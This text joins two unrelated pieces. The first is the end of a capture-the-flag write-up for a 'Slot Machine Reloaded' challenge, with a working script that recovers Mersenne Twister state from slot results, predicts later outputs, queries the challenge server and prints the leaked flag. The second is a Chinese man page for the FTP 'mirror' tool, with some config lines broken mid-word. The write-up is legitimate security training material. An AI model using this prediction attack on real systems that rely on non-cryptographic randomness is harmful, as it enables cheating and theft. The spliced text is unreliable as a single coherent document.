for i in range(0,len(rand_num),len(f'{len(PRINTABLE) - 1:b}')):
result += self.slots[j][int(rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')],2)]
j += 1
return result
```
After 200 iterations, it mixes in the flag via `prepend_flag()`, and that's when we need to start utilizing our predictor in order to understand where the flag characters are hiding.
Before anything, we need to understand the flag length. The length of the flag is equal to the length of the `slots` list, but we can't access it directly. All we get is the `result` after being manipulated by `choice`:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Slot_Machine_Reloaded]
└─$ curl http://slot-machine-reloaded.csa-challenge.com/ -I
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 18 Sep 2021 10:27:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3026
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Vary: Cookie
Set-Cookie: sessionid=4hr4aukcc0bxmv3c98q1xneb73wqrof0; expires=Sat, 02 Oct 2021 10:27:00 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Slot_Machine_Reloaded]
└─$ curl "http://slot-machine-reloaded.csa-challenge.com/spin/?coins=1" -H "Cookie: sessionid=4hr4aukcc0bxmv3c98q1xneb73wqrof0"
{"result": "K^U[0P}JA89P}^_;>KNLZTE]T]Z0<+PX", "prize": 3, "current_coins": 12}
```
`choice` somehow uses `flag_len` and `len(self.slots)` but it's not very clear what's the relationship between these three lengths. We'll simplify `choice` a bit in order to examine the relationship between the length of `result` and the length of the flag:
```python
>>> import random
>>> import math
>>> PRINTABLE = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+-/:.;<=>?@[]^_`{}"
>>> rand = random.Random(random.SystemRandom().getrandbits(64))
>>> def choice(flag_len):
... rand_num = format(rand._randbelow((1 << (flag_len*len(f'{len(PRINTABLE) - 1:b}'))) - 1),
... '#0%db' % (flag_len*int(math.log(len(PRINTABLE), 2)) + 2))[2:]
... result_len = 0
... for i in range(0,len(rand_num),len(f'{len(PRINTABLE) - 1:b}')):
... result_len += 1
... return(result_len)
```
This is mainly based on the fact that `slots` is a list of lists of characters, so each time `self.slots[j][int(rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')],2)]` is appended to `result`, we know that `result` is growing by one character.
```python
>>> for i in range(1, 40):
... assert(i == choice(i))
...
>>>
```
It looks like the length of the result is equal to the flag length, so we know that `flag_len == len("K^U[0P}JA89P}^_;>KNLZTE]T]Z0<+PX") == 32`. Now we need to dig deeper into `choice` and understand how the random number gets encoded into `result`, in order to reverse the procedure and extract the original random number from the result. Once we know `flag_len` and `len(self.slots)`, most of the parameters in `choice` are constant:
```python
>>> flag_len = 32
>>> ((1 << (flag_len*len(f'{len(PRINTABLE) - 1:b}'))) - 1)
6277101735386680763835789423207666416102355444464034512895
>>> '#0%db' % (flag_len*int(math.log(len(PRINTABLE), 2)) + 2)
'#0194b'
>>> bin(6277101735386680763835789423207666416102355444464034512895)
'0b111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'
>>> len(bin(6277101735386680763835789423207666416102355444464034512895))
194
>>>
>>> rand_num_func = lambda: format(rand._randbelow((1 << (flag_len*len(f'{len(PRINTABLE) - 1:b}'))) - 1), '#0%db' % (flag_len*int(math.log(len(PRINTABLE), 2)) + 2))[2:]
>>> rand_num_func()
'001110101000001001001101110011000011110001101110000011110000000101100101001000010011101000101000010110101011010000001000101011000100100111111000100100110100110100101111000010011011100110000001'
>>> rand_num_func()
'001001110001000001000101111010101100000000011001000111010101011101110000100110111000010001101111110110110111011001110010000110001111010111100101111101001001010111001000100000010010101110100110'
>>> rand_num_func()
'100101011110100111000111101110010000100111001011001110101111101001101101011010011101011110011101000101101000110001011101001110101110110110011100111101100110101000010111100111000101011011110100'
>>> rand_num_func()
'000001110001000111111110110110110111010010111101000100111011101100101101110101110011000001011101011101110010111111000000001000110101101000101100110110010111011000101011101101111000110011001011'
>>> len(rand_num_func())
192
>>> len(f'{len(PRINTABLE) - 1:b}')
6
>>> rand_num = rand_num_func()
>>> rand_num
'100011100101110000110000111001101101101101100111000001001110110100000100000111010101110011010000111110011011100100001101001100000111010000000100010001111110000000111011011011111001010101111001'
>>> j = 0
>>> for i in range(0,len(rand_num),len(f'{len(PRINTABLE) - 1:b}')):
... print("j = {} -> {}".format(j, rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')]))
... j += 1
...
j = 0 -> 100011
j = 1 -> 100101
j = 2 -> 110000
j = 3 -> 110000
j = 4 -> 111001
j = 5 -> 101101
j = 6 -> 101101
j = 7 -> 100111
j = 8 -> 000001
j = 9 -> 001110
j = 10 -> 110100
j = 11 -> 000100
j = 12 -> 000111
j = 13 -> 010101
j = 14 -> 110011
j = 15 -> 010000
j = 16 -> 111110
j = 17 -> 011011
j = 18 -> 100100
j = 19 -> 001101
j = 20 -> 001100
j = 21 -> 000111
j = 22 -> 010000
j = 23 -> 000100
j = 24 -> 010001
j = 25 -> 111110
j = 26 -> 000000
j = 27 -> 111011
j = 28 -> 011011
j = 29 -> 111001
j = 30 -> 010101
j = 31 -> 111001
```
As we can see from the example above, `rand_num` is simply a 192-bit random number, which is later divided into `32` chunks of `6` bits used as indices to retrieve a character from `slots`.
Let's use this to reconstruct the actual random number for the first iteration. In the example we saw earlier, the result we got was `"K^U[0P}JA89P}^_;>KNLZTE]T]Z0<+PX"`. So, to get the first `6` most significant bits of the random number for the first iteration, we check what's the (binary representation of the) index of the first character in `result` (i.e. `K`) in `slots[0]`.
```python
>>> PRINTABLE = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+-/:.;<=>?@[]^_`{}"
>>> FLAG_LEN = 32
>>> slots = [list(PRINTABLE) for _ in range(FLAG_LEN)]
>>> result = "K^U[0P}JA89P}^_;>KNLZTE]T]Z0<+PX"
>>> get_bits = lambda x: format(slots[x].index(result[x]), '06b')
>>> get_bits(0)
'010100'
```
For the next 6 bits, we check the second character in `result`, against the second `slots` list:
```python
>>> get_bits(1)
'111011'
```
We can construct the full random number using:
```python
>>> rand_num = ""
>>> for i in range(32):
... rand_num += get_bits(i)
...
>>> rand_num
'010100111011011110111001000000011001111111010011001010001000001001011001111111111011111100110011110110010100010111010101100011011101001110111010011101111010100011000000110100101110011001100001'
>>> int(rand_num, 2)
2052751215110038155256122112235701712256845575377300678241
```
This gives us `192` bits which we feed into the predictor:
```python
>>> predictor = MT19937Predictor()
>>> predictor.setrandbits(rand_num, 192)
```
We need to continue feeding random numbers until we're done feeding `624 * 32` bits. If each iterations gives us `192` bits, we should be done within `624 * 32 / 192 == 104` iterations. Then we wait for the 200th iteration, which has the special logic:
```python
if self.attempt_num == 200:
self.prepend_flag()
```
`prepend_flag` just prepends the flag to the `slots` list, one character to each internal list:
```python
def prepend_flag(self):
for i in range(flag_len):
self.slots[i].remove(flag[i])
self.slots[i] = [flag[i]] + self.slots[i]
```
So, after `prepend_flag()` is run, we will meet a character from the flag each time `self.slots[j][int(rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')],2)]` gets evaluated to `self.slots[j][0]`, and that's exactly when we'll collect the `j`th character of the flag.
Putting it all together, we get:
```python
from pwn import *
import math
import requests
from mt19937predictor import MT19937Predictor
def main(is_web):
predictor = MT19937Predictor()
needed_bits = 624 * 32
PRINTABLE = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+-/:.;<=>?@[]^_`{}"
FLAG_LEN = 32
RAND_BITS = 192
FLAG_APPENDED_ITERATION = 200
slots = [list(PRINTABLE) for _ in range(FLAG_LEN)]
if is_web:
s = requests.session()
s.get("http://slot-machine-reloaded.csa-challenge.com/")
else:
p = process(["python3", "-m", "Slot_Machine_Reloaded.Slot Machine Reloaded"])
attempt_num = 0
flag = [None] * FLAG_LEN
with log.progress("Leaking flag...") as p:
while True:
if is_web:
res = s.get("http://slot-machine-reloaded.csa-challenge.com/spin/?coins=1")
out = res.json()["result"]
else:
p.sendlineafter(b"Enter number of coins:\n", b"1")
out = p.recvlineS(keepends = False)
if attempt_num < FLAG_APPENDED_ITERATION:
binary_str = ""
for i, c in enumerate(out):
index = slots[i].index(c)
b = format(index, '06b')
binary_str += b
rand_num = int(binary_str, 2)
if needed_bits > 0:
p.status(f"Gathering random bits, needed bits = {needed_bits}")
predictor.setrandbits(rand_num, RAND_BITS)
needed_bits -= RAND_BITS
else:
p.status(f"Checking predictor, iteration #{attempt_num}/{FLAG_APPENDED_ITERATION}")
predicted = predictor.getrandbits(RAND_BITS)
assert(predicted == rand_num)
else:
rand_num = format(predictor.getrandbits(RAND_BITS),
'#0%db' % (len(slots)*int(math.log(len(PRINTABLE), 2)) + 2))[2:]
j = 0
for i in range(0,len(rand_num),len(f'{len(PRINTABLE) - 1:b}')):
index = int(rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')],2)
if index == 0:
flag[j] = out[j]
p.status(f"Found character {out[j]}, known flag = {''.join([c if c is not None else '?' for c in flag])}")
if all(x is not None for x in flag):
return "".join(flag)
j += 1
attempt_num +=1
if __name__ == "__main__":
flag = main(is_web = True)
log.success(f"Flag: {flag}")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Slot_Machine_Reloaded]
└─$ python3 solve.py
[+] Leaking flag...: Done
[+] Flag: CSA{I_L1K3_THE_TW1ST_4T_THE_END}
```
|
sec-knowleage
|
.\" .\" 软件教程 之 man mirror 系统篇 软件篇 技巧篇 Linux man篇
.\"
.\" 原始文件:mirror-2.3 - mirror.man
.\" 档案叙述:映射远端档案的软体
.\" 文件编号:LRG.LDTP.MANUAL.006
.\" 翻译日期:1996/03/03
.\" 翻译维护:asdchen@ms1.hinet.net O
.\" ---------------------------------------------------------------X---
.\" O
.\" MIRROR(1L) MIRROR(1L)
.\"
.TH mirror 1
.SH NAME
mirror \- 映射在远端节点上的档案
.SH "总览 SYNOPSIS"
mirror [flags] -gsite:pathname
mirror [flags] [package-files]
.SH "描述 DESCRIPTION"
Mirror 是以 Perl 所写成的一套在执行它的机器与一台远端主机
之间使用 ftp 协定复制整个目录架构及其内容的软体。它藉由在
传输之前比较档案时间(time-stamps) 以及大小来避免拷贝不必要
的档案。除此之外,它还可以选择性地压缩(compress, gzip)以及
分割(split)档案。
.PP
它是写给档案维护人员使用的但也可以让任何想要经由 ftp 传输
大量档案的人使用。
.PP
无论如何叫用它, mirror 总是执行相同的几个基本步骤。它连线
到远端节点,在内部建立本地目标目录(target direction)的目录
列表,为远端目录建立一份目录列表,比较它们,建立任何必须的
子目录,传输适当的档案(设定它们的档案时间以符合远端节点上
的档案时间),建立任何符号链结,然後移除任何已不必要的物件
(objects) 最後并结束连线。
.PP
Mirror 可以处理符号链结但并非原本的链结。它不会复制拥有者
(owner)或是群组(group)的资讯。如果你需要这些选项其中的任何
一个,使用 rdist(1) 来取代它。
.PP
Mirror 系以上面所列语法概述其中的一种方法呼叫执行。
.PP
第一种方式是用来将一个远端目录撷取回现行目录。如果你要映射
的是一个目录,最好是以斜线('/') 来结束路径名称这样一来远端
递回列表(包含往下子目录的列表)会比较小或者是使用 -r 旗标
来禁止递回(参阅下面所述的 -g 旗标)。这个方式将不会使用到
mirror.defaults 档案。
.PP
在上面所列语法概述的第二种方式里,至少需要有一份最少数目的
参数而且 mirror 是由从配置档案(或标准输入)里读取的设定所
控制。如果可以在 mirror 执行档所在目录或是 PERLLIB 路径里
找到一个名为 mirror.defaults 档案,那麽它会首先被载入。这
用来为所有的配置档提供一般化的预设值。
.PP
Mirror 本来是为映射远端 Un*x 系统的档案而写,但是它已逐渐
成长(like topsy)。
.PP
.SH "标记 FLAGS"
.TP
-d
启动侦错。如果下达这个参数超过一次,则侦错层级将会
递增。目前有用的最大层级是四。
.TP
-ppackage
只映射所给定的档案包裹(package)。 此选项可下达多次
在这种情形下所有给定的档案包裹都将会映射。没有这个
选项的话,将映射所有的档案包裹。档案包裹 (package)
是一个符合相对於 package 变数的正规表示式(regexp)
.TP
-R
类似 -p 但是跳过所有的档案包裹直到它找到给定的档案
包裹为止。这对於从 mirror 执行失败而离开的地方重新
开始执行会有用。
.TP
-n
除了比较本地以及远端的目录之外不做任何事,不会执行
任何档案传输。将侦错层级设为二,所以你可以看到对於
将要执行之动作的追踪。
.TP
-F
使用暂存的 dbm 档案以储放关於档案的资讯。如果你要
映射一个非常大的目录这会有用。参阅 use_files 这个
变数。
.TP
-g
节点:路径
.PP
取得给定节点上的所有档案。如果路径符合 .*/.+ 那麽
它是目录的名称而後面的部份则是所要取得之档案名称的
样板(pattern)。 如果路径符合 .*/ 则它是目录的名称
而且其所有的内容都将会被撷取。另一方面路径还是用
在 '/' 的样板。如果你使用 host:/fred 的话,那麽将作出
一份远端主机上之 / 的完整目录列表。如果所有你想要
的是目录 /fred 的内容,则指定 host:/fred/ 才是。
.TP
\-r
等於 -krecursive=false
.TP
\-v
印出 mirror 版本资讯细节并结束。
.TP
\-T
强制将任何本地档案的时间重置成与远端档案相同。一般
仅用於以已存在档案内容之处初始一个映射区域的时候。
.TP
\-U [档案名称]
把所有上传的档案记录到所给的档案名称。记得 mirror
切换到 local_dir 以执行其作业,所以它应该得是完整
(full)的路径名称。如果没有给任何参数,其预设值为
`pwd`/upload_log.day.month.year.
.TP
\-kkey=value
盖过任何预设关键字的值(key/value) 。
.TP
\-m
等於 \-kmode_copy=true
.TP
-t
等於 \-ktext_mode=true
.TP
\-f
等於 \-kforce=true
.TP
\-ssite
等於 \-ksite=site
.TP
\-uuser
等於 \-kremote_user=user 接著会提示你要求密码,并且
还会关闭本地回应(echo)以兹配合。这个密码是用来设定
remote_password 用的。
.TP
\-L
只是产生一份输入的美观列表版本。
.TP
\-G
从远端机器取得档案。本地以及远端目录必须在命令列上
给定。(这个选项已经不再支援。)
.TP
\-P
把档案放上远端机器。本地以及远端目录必须在命令列上
给定。(这个选项已经不再支援。)
.TP
\-C filename
指定配置文件。配合 \-P 以及 \-G 选项之配置文件之需。
(这个选项已经不再支援。)
.SH "文件 Package Files"
.PP
配置档会被剖析成一系列的叙述。空白行及以杂凑(hash)符号起始
的行会被忽略。每个叙述的形式都是
.PP
关键字=值
.PP
或是
.PP
关键字+值
.PP
你可以在关键字以及等号/加号的前面加上空白字元。所有紧跟在
等号/加号之後的每样事物都是一个值,这包含任何开头或结尾的
空白字元。等号的版本会将关键字设定为该值,而加号的版本会将
该值连结到预设值的结尾上。
.PP
一个叙述可以在除最後一行以外使用 ampersand('&') 字元作结束
以连续超过多行。尾随在 ampersand 之後的行,都会以移除所有
开头空白字元的方式附加到目前所在行的後面。
.PP
这里是一份关键字的列表而且它们预设的值放在 square brackets
里面列出。以星号标出的选项目前还没有实作出来。
.PP
虽然有很多关键字可以设定,内建的预设值将可处理大部分的情况
。一般只需要设定 package, site, remote_dir 以及 local_dir
即可。
.SS
.TP
package
对所要映射的档案包裹而言应该得要是个唯一的
名称。['']
.TP
comment
用在报告里。['']
.TP
skip
设定这个项目会使得该档案包裹被跳过。此值会
被报告为跳过的原因。(这比 commenting the
entry out 来得容易。)['']
.TP
site
远端节点的节点名称或是 IP 位址。['']
.TP
remote_dir
所要映射的远端目录。参阅 recursed_hard。
['']
.TP
local_dir
本地目录。['']
.TP
remote_user
用在远端节点的使用者名称。[anonymous]
.TP
remote_password
用在远端节点的密码。[user@localhostname]
.TP
get_patt
所要撷取之远端路径名称的正规表示式。[.]
.TP
exclude_patt
所要忽略之远端目录名称的正规表示式。['']
.TP
update_local
把 get_patt 设为 local_dir/*。这在如果你只
想要映射远端档案服务处中所选定的子目录时会
有用。[false]
.TP
local_ignore
所要忽略之本地路径名称的正规表示式。对用来
跳过受限(restricted)的本地目录有用。['']
.TP
do_deletes
如果目的(destination) 档案不存在於来源树中
(source tree)中则删除之。[false]
.TP
delete_patt
检查所要删除之本地路径名称的正规表示式。不
符合的名称不会被检查。所有以此样板所选出的
档案都会被检查是否符合 delete_excl 选项。
[.]
.TP
delete_get_patt
把 delete_patt 设为 get_patt。[false]
.TP
delete_excl
永不删除之本地路径名称的正规表示式。['']
.TP
save_deletes
把本地档案储存到 save_dir 里取代将其删除。
[false]
.TP
save_dir
当本地档案不存在於远端节点的时候会被转移到
此处。[Old]
.TP
max_delete_files
如果有超过此数的档案会被删除,则不进行删除
动作,只发出警告。若此值系以百分比字元作为
结束的话则此值为取消删除前之档案的百分比。
[10%]
.TP
max_delete_dirs
如果有超过此数的目录会被删除,则不进行删除
动作,只发出警告。若此值系以百分比字元作为
结束的话则此值为取消删除前之档案的百分比。
[10%]
.TP
max_days
如果 >0 的话,忽略比此日数更久以前的档案。
任何被忽略的档案将不会被传输或删除。[0]
.TP
split_max
如果 >0 而且档案的大小比此值大,该档案会被
切割以便本地储存(档案名称同时也必须要符合
split_patt 选项)。[0]
.TP
spilt_patt
要储存在本地前需先分割之远端路径名称的正规
表示式。['']
.TP
split_chunk
档案所要切割成的大小。[102400]
.TP
ls_lR_file
包含 ls-lR 的远端档案,否则执行远端 ls 以
取得目录列表。['']
.TP
local_ls_lR_file
包含 ls-lR 的本地档案,否则使用远端节点的
ls_lR_file 取代。这在第一次映射一个很大的
档案包裹时有用。['']
.TP
recursive
执行范围包括子目录。[true]
.TP
recuese_hard
必须对每一个子目录执行 cwd 以及 ls 以产生
远端 ls 结果。在这种情形下 remote_dir 必须
是绝对的(从 / 开始)而非相对的。使用 ftp
里的 pwd 指令以找出远端档案区域之路径开始
处。(如果 remote_fs 是 vms 则不可使用。)
[false]
.TP
flags_recursive
传送给远端 ls 用以执行递回列出的旗标。
['-lRat']
.TP
flags_nonrecursive
传送给远端 ls 用以执行非递回列出的旗标。
['-lat']
.TP
remote_fs
远端档案储存型态。处理 unix, dls, netware
vms, dosftp, macos, lsparse 以及 infomac。
细节参阅下面 FILESTORES 段落。[unix]
.TP
vms_keep_version
映射 vms 档案时,保留版本编号。若为 false
,会抽离版本而只保留基本的档案名称。[true]
.TP
vms_xfer_text
要以文字模式(TEXT mode) 传输之 vms 档案的
样板(忽略大小写)。
['readme$|info$|listing$|.c$']
.TP
name_mappings
远端到本地的路径名称对映(一个 perl s 指令
eg. s:old:new:)。['']
.TP
external_mapping
执行名称对映的外部函式。['']
.TP
get_newer
如果远端档案的日期比本地的新则取回。[true]
.TP
get_size_change
如果档案的大小与本地的不同则取回。如果档案
是在撷取时压缩的,则其大小会自动地忽略掉。
[true]
.TP
compress_patt
储存在本地之前要先压缩之档案的正规表示式。
参阅 get_size_change 选项。['']
.TP
compress_excl
不压缩之档案的正规表示式(忽略大小写)。
[\.(z|gz)$]
.TP
compress_prog
用来压缩档案的程式。如果设为 compress 或是
gzip 这两个字的话,则将会自动地设定完整的
路径名称以及正确的 compress_suffix(副档名)
。使用 gzip 的时候,会使用第九级 (gzip -9)
压缩。注意到可以在 compress_prog 之後设定
compress_suffix 将其重设为非标准值。
[compress]
.TP
compress_suffix
压缩程式附加到档案後的字元。若压缩程式选项
compress_prog 为 compress 的话,则此预设值
为 .Z 。若 compress_prog 为 gzip 的话,则
此预设值为 .gz。['']
.TP
compress_conv_patt
如果 compress_prog 是 gzip 的话,符合这个
样板的档案会被解压缩并在本地储存前以 gzip
重新压缩。压缩转换只对 compress 到 gzip 此
转换有意义。[(\.Z|\.taz)$]
.TP
compress_conv_expr
把副档名从 compress 转为 gzip 形式的 perl
表示式。[s/\.Z$/\.gz/;s/\.taz$/\.tgz/]
.TP
compress_size_floor
只压缩比此数值小的档案。[0]
.TP
force_times
强制要求本地时间符合远端时间。[yes]
.TP
retry_call
如果初始连线失败,一分钟之後重试一次。这是
用来处理一些反向找寻(lookup)进入(incoming)
主机但有时会在第一次尝试时超过时间的节点。
[yes]
.TP
update_log
档案名称,系相对於 local_dir 选项之设定值
,此处会保留一份更新报告。['']
.TP
mail_to
将一份系统执行工作记录寄给这个以逗点隔开之
列表上的人。['']
.TP
user
给予本地路径名称之使用者名称或使用者号码。
['']
.TP
group
给予本地路径名称之群组名称或群组号码。['']
.TP
file_mode
给予本地建立之档案的权限。[0444]
.TP
dir_mode
给予本地建立之目录的权限。[0755]
.TP
timeout
在此秒数後结束 ftp 要求。[40]
.TP
ftp_port
远端 ftp 伺服程式的埠号。[21]
.TP
proxy
设为 1 以使用代理转接(proxy)式的 ftp 服务
。[0]
.TP
proxy_ftp_port
代理服务之 ftp 伺服程式的埠号。[4514]
.TP
proxy_gateway
代理服务之名称,也可用 INTERNET_HOST 变数
来提供。[internet-gateway]
.TP
mode_copy
指出是否需要拷贝模式位元(mode bits) 的旗标
。[false]
.TP
interactive
非批次(non-batch) 传输。系以 -g 旗标实作。
[false]
.TP
text_mode
如果为 true 的话,档案以文字模式传输。Un*x
较喜欢以二进位传输所以这是预设值。[false]
.TP
force
如果为 true 的话,所有档案都将被传输而不去
理会档案的大小或时间。[false]
.TP
get_file
以执行 get 而非 put 作为预设。[true]
.TP
verbose
冗馀讯息。[false]
.TP
delete_source
一旦传输完成後删除来源档案。(此选项已不再
支援。)[false]
.TP
disconnect
档案包裹结束後从远端节点结束连线。[false]
.TP
mail_prog
呼叫执行以将信件寄送给 mail_to 列表的程式
。可以传递 mail_subject 参数。预设为 mailx
Mail, mail 或任何在你的系统上可用的东西。
['']
.TP
mail_subject
mirror update ['-s]
.TP
hostname Mirror
自动地跳过节点名称符合此主机的档案
包裹。预设为本地主机名称。['']
.TP
use_files
将 mirroe 所使用的 associative arrays 放到
暂存档里。[false]
.TP
umask
预设不允许任何 setuid 的东西通过。[07000]
.TP
remote_group
如果存在则设定远端 'site group' 。['']
.TP
remote_gpass
如果存在则设定远端 'site gpass' 。['']
.TP
remote_idle
如果非空(not null),则尝试并将远端闲置计时
(idle timer)设为此值。['']
.TP
make_bad_symlinks
如果为 true 的话,将会把符号链结连到不允许
(不存在)的路径名称。旧版预设值为 true 。
[false]
.TP
follow_local_symlinks
应该要跟从档案或是目录所指向处之路径名称的
正规表示式。这使得 mirror 不能够见到本地的
符号链结。['']
.TP
get_missing
确实取回档案。当设为 false 的时候,只执行
删除以及建立符号链结。用来删除比 max_days
更旧的过时档案而不必撷取这些旧档案。[true]
.PP
每一组关键字定义如何映射一份特定的档案包裹而且应该要以一行
唯一的 package 开始。档案包裹的名称用在产生报告及 -p 参数
上,所以应使用较具记忆性的名称。定义每个档案包裹所需的最小
需求是 package, site, remote_dir 以及 local_dir 。一旦找到
一行 package 叙述,所有的预设值都会重设。
.PP
如果 package 的名称是 defaults 的话,则不会连线到任何节点
去,但是所给任何关键字的预设值都会改变。一般而言所有的预设
值都在 mirror.defaults 这个将会在任何 package 细节前自动
载入的档案里。
.PP
.nf
# Sample mirror.defaults
package=defaults
# The LOCAL hostname - if not the same as `hostname` returns
# (I advertise the name src.doc.ic.ac.uk but the machine is
# really puffin.doc.ic.ac.uk.)
hostname=src.doc.ic.ac.uk
# Keep all local_dirs relative to here
local_dir=/public/
remote_password=ukuug-soft@doc.ic.ac.uk
.fi
.PP
如果档案包裹不是 defaults 的话,则 mirror 将会执行下列步骤
。除非侦测出一个内部错误,任何错误都将会使得目前的档案包裹
被跳过并且尝试下一个。
.PP
如果 mirror 并非已经连上该节点,它将会从任何已经连上的节点
离线并尝试连线到远端节点的 ftp 伺服程式去。它接著将会使用
所给的远端使用者名称及密码签入。一旦连上, mirror 开启二进
位传输模式。接下来它切换到所给的本地目录并扫描之以取得已经
存在的本地档案的细节。如果必要,将会建立本地目录。一旦这项
作业完成,会以类似的方式扫描远端目录。 Mirror 系切换到远端
目录并执行 ftp LIST 指令,然後依据 recursive 选项的值传递
flags_recursive 选项或 flags_nonrecursive 选项来完成。此外
也可以撷取一个包含有目录列表的档案。每一个远端路径名称都将
会执行任何指定的对映(mapping) 以建立本地路径名称。然後任何
由 exclude_patt, max_days, get_newer 以及 get_size_change
关键字指定的检验都会施行在档案或符号链结上。只有 exclude-
patt 检验会施行在子目录上。
.PP
上述过程建立一份所有需要的远端档案以及要储存它们之本地路径
名称的列表。
.PP
一旦目录列表完成,所有需要的档案都会从远端节点撷取到它们的
本地路径名称。作法是把档案撷取到目标目录里的暂存档。如果有
需要,暂存档会被压缩(compressed, gzip'ed) 或是切割(或者是
压缩後再切割)。当传输成功後再把暂存档改名。
.SH "档案储放 FILESTORES"
.PP
Mirror 使用远端目录列表以找出可以取得哪些档案。 Mirror 本
来的目标是连线到 unix 的 ftp 伺服程式使用标准的 ls 指令。
要使用於非标准 ls 的 unix 主机或非 unix 的主机上它必须要设
remote_fs 变数以符合将会传回(return)的目录列表类型。此变数
(remote_fs) 与其它变数特别是 flags_recursive, recurse_hard
以及 get_size_change 之间有些交互作用。下列的节次将会秀些
在不同档案服务处执行 ftp 的 dir 指令所产生的结果以及相关
变数的建议。在配合某些设定与众不同的档案服务处的时候你可能
必须变更此处所建议的变数设定。
.PP
.nf
remote_fs=unix
total 65
-rw-r--r-- 1 ukuug ukuug 2245 Jun 28 20:06 README
-rw-r--r-- 1 ukuug ukuug 61949 Jun 29 19:13 mirror-2.1.tar.gz
.fi
.PP
这是预设值而且你应该不必重设任何其它变数。
.PP
.nf
remote_fs=dls
00index.txt 189916
0readme 5793
1_x/ = OS/2 1.x-specific files
.fi
.PP
这是某些 unix 档案服务处所使用的 ls 变化型。它在列表中提供
其所知项目的描述。把 flags_recursive 设为 -dtR 即可。
.PP
.nf
remote_fs=netware
- [R----F--] jrd 1646 May 07 21:43 index
d [R----F--] jrd 512 Sep 09 10:52 netwire
d [R----F--] jrd 512 Sep 02 01:31 pktdrvr
d [RWCE-F--] jrd 512 Sep 04 10:55 incoming
.fi
.PP
这是 Novell 档案服务处所使用的。把 recurse_hard 设为 true
并且把 flags_recursive 设为空(nothing)的。参阅 remote_dir
.PP
.nf
dosftp
00-index.txt 6,471 13:54 7/20/93 alabama.txt 1,246 23:29 5/08/92
alaska.txt 873 23:29 5/08/92 alberta.txt 2,162 23:29 5/08/92
.fi
.PP
dosftp 是在 dos 上执行的一套 ftp 伺服程式。recurse_hard
设为 true 并且把 flags_recursive 设为空(nothing)的。
.PP
.nf
remote_fs=macos
-------r-- 0 127 127 Aug 27 13:53 !Gopher Links
drwxrwxr-x folder 32 Sep 9 16:30 FAQ
drwxrwx-wx folder 0 Sep 9 09:59 incoming
.fi
.PP
macos 是麦金塔(Macintosh) ftp 伺服程式的一个变化型。虽然此
输出类似於 unix 但是 unix 这个 remote_fs 型态无法应付它是
因为每个档案有三个大小。把 recurse_hard 设为 true, flags_
recursive 设为空(nothing)的,get_size_change 设为 false 并
将 compress_patt 设为空(最後这个设定是因为此不平常的档案
名称会扰乱执行压缩的 shell 界面)。参阅 remote_dir 设定。
.PP
.nf
remote_fs=vms
USERS:[ANONYMOUS.PUBLIC]
1-README.FIRST;13 9 14-JUN-1993 13:09 [ANONYMOUS] (RWE,RWE,RE,RE)
PALTER.DIR;1 1 18-JAN-1993 11:56 [ANONYMOUS] (RWE,RWE,RE,RE)
PRESS-RELEASES.DIR;1
1 11-AUG-1992 20:05 [ANONYMOUS] (RWE,RWE,,)
.fi
.PP
alternatively:
.PP
.nf
[VMSSERV.FILES]ALARM.DIR;1 1/3 5-MAR-1993 18:09
[VMSSERV.FILES]ALARM.TXT;1 1/3 4-FEB-1993 12:20
.fi
.PP
把 flags_recursive 设为 '[...]' 并将 get_size_change 设为
false。recurse_hard 在 vms 上不能使用。除此之外还可以参阅
vms_keep_version 以及 vms_xfer_text 变数。
.PP
.SS
.TP
remote_fs=infomac
这个特殊型态仅在处理 sumexaim.stanford.edu info-mac 目录之
help/all-files 有意义。recurse_hard 应该设为 true。
.TP
remote_fs=lsparse
允许开启高阶除错方式重新剖析由 mirror 产生的列表。这只对於
mirror wizards 有用。
.SH "范例 EXAMPLES"
这里是从 src.doc.ic.ac.uk 上来的 mirror.defaults 档案:
.PP
.nf
# This is the default mirror settings used by my site:
# src.doc.ic.ac.uk (146.169.2.1)
# This is home of the UKUUG Software Distribution Service
package=defaults
# The LOCAL hostname - if not the same as `hostname`
# (I advertise the name src.doc.ic.ac.uk but the machine is
# really puffin.doc.ic.ac.uk)
hostname=src.doc.ic.ac.uk
# Keep all local_dirs relative to here
local_dir=/public/
remote_password=ukuug-soft@doc.ic.ac.uk
mail_to=
# Don't mirror file modes. Set all dirs/files to these
dir_mode=0755
file_mode=0444
# By default, files are owned by root.zero
user=0
group=0
# # Keep a log file in each updated directory
# update_log=.mirror
update_log=
# Don't overwrite my mirror log with the remote one.
# Don't retrieve any of their mirror temporary files.
# Don't touch anything whose name begins with a space!
# nor any FSP or gopher files...
exclude_patt=(^|/)(.mirror$|.in..*.$|MIRROR.LOG|#.*#|.FSP|.c
ache|.zipped|lost+found/| )
# Try to compress everything
compress_patt=.
compress_prog=compress
# Don't compress information files, files that don't benefit
from
# being compressed, files that tell ftpd, gopher, wais... to
do things,
# the sources for compression programs...
# (Note this is the only regexp that is case insensitive.)
compress_excl+|^.notar$|-z|.taz$|.tar.Z|.arc$|.zip$|.lzh$|.z
oo$|.exe$|.lha$|.zom$|.gif$|.jpeg$|.jpg$|.mpeg$|.au$|read.*me|index|.message|in
fo|faq|gzip|compress
# Don't delete own mirror log or any .notar files (incl in s
ubdirs)
delete_excl=(^|/).(mirror|notar)$
# Ignore any local readme files
local_ignore=README.doc.ic
# Automatically delete local copies of files that the
# remote site has zapped
do_deletes=true
.fi
Here are some sample package descriptions:
.nf
package=gnu
comment=Powerful and free Un*x utilities
site=prep.ai.mit.edu
remote_dir=/pub/gnu
# Local_dir+ causes gnu to be appended to the default local_
dir
# so making /public/gnu
local_dir+gnu
